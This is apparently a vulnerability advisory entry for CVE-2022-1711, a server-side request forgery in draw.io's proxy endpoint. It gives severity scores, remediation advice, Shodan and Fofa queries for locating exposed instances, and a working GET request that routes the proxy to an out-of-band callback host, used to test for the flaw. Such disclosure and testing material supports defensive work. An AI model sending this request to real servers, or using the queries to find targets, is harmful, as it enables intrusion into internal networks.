| Title | draw.io < 18.0.5 - Server Side Request Forgery (SSRF) |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Unauthenticated attackers can perform SSRF attacks via the proxy endpoint to access internal resources, scan internal networks, or retrieve sensitive data from internal systems. |
| Remediation | Update to draw.io/diagrams.net version 18.0.5 or later. The patch adds isLinkLocalAddress() checks to restrict proxy request destinations. If patching isn't possible, implement network controls to limit server connections to internal systems. |
| CVSS Score | 7.5 |
| EPSS Score | 0.30074 |
| CVE ID | CVE-2022-1711 |
| CWE ID | CWE-918 |
| Shodan Query | html:"draw.io" |
| Fofa Query | body="draw.io" |
| Tags | cve cve2022 ssrf drawio diagrams jgraph vuln |
Server-Side Request Forgery (SSRF) vulnerability in draw.io (also known as diagrams.net) prior to version 18.0.5 allows attackers to bypass URL validation restrictions in the ProxyServlet component. The vulnerability exists because the application does not properly validate URLs passed to its proxy endpoint, allowing attackers to make requests to internal services or external servers. This can lead to unauthorized access to internal resources and potential data exfiltration.
GET /proxy?url=http://d5jm0thle0o3814s9j4gh6jy3s4n6ih7f.oast.site HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1711.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1711.pcap
N/AN/A